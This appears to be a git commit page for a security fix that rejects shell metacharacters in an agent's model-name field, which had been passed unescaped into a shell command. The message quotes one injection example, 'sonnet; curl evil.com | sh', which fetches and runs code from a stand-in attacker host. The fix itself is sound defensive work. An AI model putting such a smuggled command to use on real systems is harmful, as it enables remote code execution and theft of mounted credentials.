diff options
| author | Peter Stone <thepeterstone@gmail.com> | 2026-07-08 04:39:42 +0000 |
|---|---|---|
| committer | Peter Stone <thepeterstone@gmail.com> | 2026-07-08 04:39:42 +0000 |
| commit | 0cedb90d44b09c9eda296bcdb8cedd5b58d76d22 (patch) | |
| tree | 80bfb42f70186c81948610ebe0053bee3bac9c38 /web/test/enable-notifications.test.mjs | |
| parent | 0525ed028bf2877d5423e3197c12b384b6bf809f (diff) | |
fix(task): reject shell metacharacters in Agent.Model
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
Diffstat (limited to 'web/test/enable-notifications.test.mjs')
0 files changed, 0 insertions, 0 deletions